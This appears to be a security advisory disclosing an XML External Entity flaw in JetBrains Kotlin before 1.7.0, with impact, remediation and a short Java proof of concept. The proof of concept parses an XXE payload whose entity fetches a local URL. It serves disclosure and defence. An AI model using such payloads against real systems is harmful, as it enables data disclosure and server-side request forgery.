Disclosed vulnerabilities
No CVE assigned Published: Jan 15, 2022

Improper Restriction of XML External Entity Reference in jetbrains/kotlin

8.2 High Severity JetBrains Kotlin XML Injection XXE
ready-research Reported by Checkmarx Zero

Summary

JetBrains/Kotlin is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data.
This issue was fixed in version 1.7.0.

Product

JetBrains/Kotlin before version 1.7.0.

Impact

A remote attacker can exploit this vulnerability to expose sensitive information or consume memory resources.

Steps to reproduce

#Extracted out the key function in the vulnerable code to showcase how it can be exploited.
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Expected result:

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

Remediation

Update JetBrains/Kotlin to version 1.7.0 or above.

Resources

  1. Disclosure
  2. Commit
  3. Vulnerable code

Stay connected and never miss a research update!